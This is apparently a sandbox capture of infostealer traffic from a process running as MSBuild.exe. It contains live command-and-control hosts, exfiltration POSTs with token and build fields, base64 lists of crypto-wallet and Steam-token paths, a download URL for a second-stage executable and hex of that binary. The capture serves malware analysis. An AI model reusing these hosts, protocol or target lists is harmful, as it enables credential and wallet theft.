8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Oct 6, 2024 22:33:20.045809984 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHD Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="mode"4------FCBFBGDBKJKECAAKKFHD--
Oct 6, 2024 22:33:20.609148979 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Oct 6, 2024 22:33:20.709856987 CEST	648	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDA Host: proxy.johnmccrea.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="file_data"Q497vQ==------KFHCAEGCBFHJDGCBFHDA--
Oct 6, 2024 22:33:21.266694069 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 6, 2024 22:33:21.318414927 CEST	189	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJD Host: proxy.johnmccrea.com Content-Length: 98621 Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:22.473591089 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 6, 2024 22:33:22.477122068 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGIEHDBAAFIDGDAAAA Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 2d 2d 0d 0a Data Ascii: ------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="mode"5------ECBGIEHDBAAFIDGDAAAA--
Oct 6, 2024 22:33:23.111845016 CEST	262	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 38 0d 0a 4d 54 49 34 4d 44 6b 32 4d 58 78 6f 64 48 52 77 4f 69 38 76 61 6d 46 7a 61 79 35 77 62 33 64 6c 63 6d 5a 76 63 6e 68 6c 63 79 35 7a 61 47 39 77 4c 32 78 6b 62 58 4d 76 59 54 51 7a 4e 44 67 32 4d 54 49 34 4d 7a 51 33 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 58MTI4MDk2MXxodHRwOi8vamFzay5wb3dlcmZvcnhlcy5zaG9wL2xkbXMvYTQzNDg2MTI4MzQ3LmV4ZXwxfGtra2t80
Oct 6, 2024 22:33:24.515840054 CEST	686	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBG Host: proxy.johnmccrea.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="mode"51------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="task_id"1280961------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="status"1------IECBAFCAAKJDHJKFIEBG--
Oct 6, 2024 22:33:25.333931923 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 6, 2024 22:33:25.335119009 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJJDGDHDGDAKFIECFIJ Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="mode"6------HIJJDGDHDGDAKFIECFIJ--
Oct 6, 2024 22:33:25.917401075 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49837	147.45.44.104	80	7304	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 22:33:23.128724098 CEST	93	OUT	GET /ldms/a43486128347.exe HTTP/1.1 Host: jask.powerforxes.shop Cache-Control: no-cache
Oct 6, 2024 22:33:23.769357920 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 06 Oct 2024 20:33:23 GMT Content-Type: application/octet-stream Content-Length: 561016 Last-Modified: Sun, 06 Oct 2024 20:22:22 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "6702f17e-88f78" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 86 39 06 f9 e7 57 55 f9 e7 57 55 f9 e7 57 55 2a 95 54 54 f5 e7 57 55 2a 95 52 54 52 e7 57 55 2a 95 53 54 ec e7 57 55 2a 95 56 54 fa e7 57 55 f9 e7 56 55 ae e7 57 55 e9 63 54 54 ed e7 57 55 e9 63 53 54 eb e7 57 55 e9 63 52 54 b4 e7 57 55 b1 62 5e 54 f8 e7 57 55 b1 62 a8 55 f8 e7 57 55 b1 62 55 54 f8 e7 57 55 52 69 63 68 f9 e7 57 55 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7d f1 02 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 10 02 00 00 60 06 00 00 00 00 00 99 6c 00 00 00 10 00 00 00 20 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 08 00 00 04 00 00 2b 6d [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$9WUWUWUTTWURTRWUSTWUVTWUVUWUcTTWUcSTWUcRTWUb^TWUbUWUbUTWURichWUPEL}g)`l @+m@(pfx)@ (.text0 `.rdata$ @@.data@.rsrcpH@@.relocJ@B
Oct 6, 2024 22:33:23.769376993 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: TH7:hB^YhB^YhB^YUHVBUH9hB^YjjhUHUHTAhBt^YVWjqYUHAUH0#B
Oct 6, 2024 22:33:23.769392014 CEST	1236	IN	Data Raw: 01 59 74 0a 6a 14 56 e8 a8 55 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 c0 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 6f 11 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 19 1a 00 Data Ascii: YtjVUYY^U@B3D$EVL$PoD$Puu:L$L$<"B^3U]Vt$<"B^Vt$WV0"BFVGW_^BU}uMjhBuOYMPE]D$VtjV
Oct 6, 2024 22:33:23.769404888 CEST	672	IN	Data Raw: 00 83 c4 10 c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 75 09 83 c6 02 3b 74 24 14 75 e4 5f 8b c6 5e c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 74 09 83 Data Ascii: Vt$WPt$Ru;t$u_^Vt$WPt$Rt;t$u_^APt$KYYVt$;t$tWyWPKfYY;t$u_^APt$%MYYVt$;t$tWyWPMfYY;t$u_^UAWPEf
Oct 6, 2024 22:33:23.769918919 CEST	1236	IN	Data Raw: 00 8b c6 5e c2 04 00 81 ec 2c 02 00 00 a1 40 c0 42 00 33 c4 89 84 24 24 02 00 00 53 55 56 8b b4 24 3c 02 00 00 8b da 33 ed 89 4c 24 28 57 89 5c 24 24 8b cd 8b c1 88 4c 0c 30 99 f7 bc 24 44 02 00 00 8a 04 32 88 84 0c 30 01 00 00 41 81 f9 00 01 00 Data Ascii: ^,@B3$$SUV$<3L$(W\$$L0$D20A\|T4040yOGD<0D40FT<0\|l$l$D$\|$\|$ ;tD$L$$QPL$ 8*\|$ D$u\$\|$9+~rGyO
Oct 6, 2024 22:33:23.769932985 CEST	1236	IN	Data Raw: c1 d7 ce f7 e0 66 c1 e2 eb c1 e6 93 66 f7 e9 0f bf f1 73 05 c1 d1 52 eb 08 81 e9 aa 01 00 00 f7 e1 c1 c0 9f 66 4b 72 21 8b db 66 f7 e2 66 8b d0 66 43 66 f7 e8 c1 d3 c8 66 c1 e8 d4 66 81 f7 4a 03 81 ce b9 01 00 00 eb 18 66 c1 e2 7f f7 ea 66 c1 d6 Data Ascii: ffsRfKr!fffCfffJffQ+#+#3OfBf3ftNfIHffifff@ifCt f+SfffffJf+wjffKf_w$ffcfOf
Oct 6, 2024 22:33:23.769948006 CEST	1236	IN	Data Raw: 6a 04 5a 0b c2 6a 01 33 f6 39 71 38 0f 45 d6 0b d0 52 e8 c6 f5 ff ff b8 ac 25 40 00 c3 83 4d fc ff bb 98 55 48 00 8b 7d e8 6a 04 5a a1 98 55 48 00 8b 48 04 03 cb 6a 00 33 c0 39 41 38 0f 45 d0 0b 51 0c 0b d7 52 e8 92 f5 ff ff 8d 4d d8 e8 5a 08 00 Data Ascii: jZj39q8ER%@MUH}jZUHHj39A8EQRMZIVWt$3ffK_^VWt$3ffYPt$_^VWt$3t$ff_^VW3D$
Oct 6, 2024 22:33:23.769984007 CEST	1236	IN	Data Raw: 0f 76 36 8b 4c 24 24 40 89 44 24 0c 89 4c 24 10 3d 00 10 00 00 72 19 8d 44 24 0c 50 8d 44 24 14 50 e8 fd e7 ff ff 8b 44 24 14 59 59 8b 4c 24 10 50 51 e8 8d 3f 00 00 59 59 8b 4c 24 44 8b c6 5f 5e 5b 33 cc e8 3d 3f 00 00 8b e5 5d c2 1c 00 55 8b ec Data Ascii: v6L$$@D$L$=rD$PD$PD$YYL$PQ?YYL$D_^[3=?]UT@B3D$PS]D$VuWu uvh\|BPW9PD$$j@P:PD$0PuVuuSW4$4_^[3>]UT@B3D$PS]D$VuWu u
Oct 6, 2024 22:33:23.769998074 CEST	1236	IN	Data Raw: 00 00 83 c4 0c c6 04 1e 00 8b c7 5e eb 13 53 ff 75 08 c6 45 0c 00 8b cf ff 75 0c 53 e8 71 11 00 00 5f 5b 5d c2 08 00 56 8b 74 24 08 6a 18 56 51 e8 74 4a 00 00 83 66 10 00 83 c4 0c c7 46 14 0f 00 00 00 c6 06 00 5e c2 04 00 f6 44 24 04 01 56 8b f1 Data Ascii: ^SuEuSq_[]Vt$jVQtJfF^D$V!BtjV:YY^qL$D$qL$D$qL$GD$fAfAUVutuMuEMU^P]UVutW}MP
Oct 6, 2024 22:33:23.770011902 CEST	1236	IN	Data Raw: 04 b1 61 eb 10 81 f9 00 10 00 00 0f 95 c1 8d 0c 4d 65 00 00 00 88 08 c6 40 01 00 8b c6 5f 5e c3 8b 09 8b 01 8b 40 04 8b 4c 08 38 85 c9 74 05 8b 01 ff 60 08 c3 6a 14 b8 06 1b 42 00 e8 34 3b 00 00 8b f9 89 7d ec 8b 07 8b 40 04 8b 74 38 38 85 f6 0f Data Ascii: aMe@_^@L8t`jB4;}@t88WM}txeeP43j^DUM9MPBj^j39J8EV4@Mj^}UHj39A8EqVMK9
Oct 6, 2024 22:33:23.774338007 CEST	1236	IN	Data Raw: 57 c0 66 0f 13 45 b8 8b 75 bc 8b 5d b8 89 75 e8 ff 75 d8 8d 4d b0 e8 5d f5 ff ff 80 7d b4 00 75 0a 6a 04 5e 8b d6 e9 b9 01 00 00 89 7d fc a1 98 55 48 00 8b 40 04 8b 80 c8 55 48 00 8b 48 04 89 4d cc 8b 01 ff 50 04 8d 45 c8 50 e8 4e 08 00 00 59 89 Data Ascii: WfEu]uuM]}uj^}UH@UHHMPEPNYEMUH@UH%@tM;\|I;vCUHHUHPUHUf;uj^UU]uuj^E;\|k;veEEMuP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49859	45.132.206.251	80	7304	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 6, 2024 22:33:25.942544937 CEST	183	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAEC Host: cowod.hopto.org Content-Length: 5757 Connection: Keep-Alive Cache-Control: no-cache
Oct 6, 2024 22:33:25.942567110 CEST	5757	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 Data Ascii: ------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BKECBAKFBGDGCB

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49850	104.102.49.254	443	7920	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
